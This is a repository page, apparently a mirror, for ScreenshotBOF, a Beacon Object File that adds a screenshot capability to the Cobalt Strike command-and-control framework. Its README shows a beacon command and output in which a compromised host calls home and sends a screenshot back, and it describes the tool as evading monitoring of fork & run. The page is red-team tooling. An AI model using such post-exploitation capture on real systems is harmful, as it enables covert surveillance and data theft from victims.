qwqdanchun
/
ScreenshotBOF
mirror of https://github.com/qwqdanchun/ScreenshotBOF.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
17 Commits 2 Branches 2 Tags 142 KiB
C 54.2%
C++ 32%
PowerShell 13.8%
Go to file
CodeX 1f0ad54b5c
Merge pull request #6 from jahawkins/CALLBACK_SCREENSHOT 
Callback screenshot (merge). Will modify tomorrow if I have time to allow setting of screenshot write method (disk, download file, download screenshot)
 		2022-10-30 23:59:31 +08:00
ScreenshotBOF Added a check around the profile to choose where to save it to. If URI param, saves to screenshots, otherwise saves to downloads. Also, added an item to the right-click menu in downloads to render the image as a BMP 2022-10-28 16:27:48 -05:00
bin/BOF Added a check around the profile to choose where to save it to. If URI param, saves to screenshots, otherwise saves to downloads. Also, added an item to the right-click menu in downloads to render the image as a BMP 2022-10-28 16:27:48 -05:00
.gitignore first commit 2022-10-23 16:58:24 +08:00
README.md readme 2022-10-26 00:35:38 +08:00
ScreenshotBOF.sln first commit 2022-10-23 16:58:24 +08:00

README.md

ScreenshotBOF

An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.

Self Compilation

  1. git clone the repo
  2. open the solution in Visual Studio
  3. Build project BOF

Usage

  1. import the screenshotBOF.cna script into Cobalt Strike
  2. use the command screenshot_bof {local filename}
beacon> screenshot_bof sad.bmp
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 4860 bytes
[+] received output:
[*] Tasked beacon to printscreen and save to sad.bmp
[+] received output:
[+] PrintScreen saved to bitmap...
[*] started download of sad.bmp

Notes

  • no evasion is performed, which should be fine since the WinAPIs used are not malicious

Why did I make this?

Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.

Credits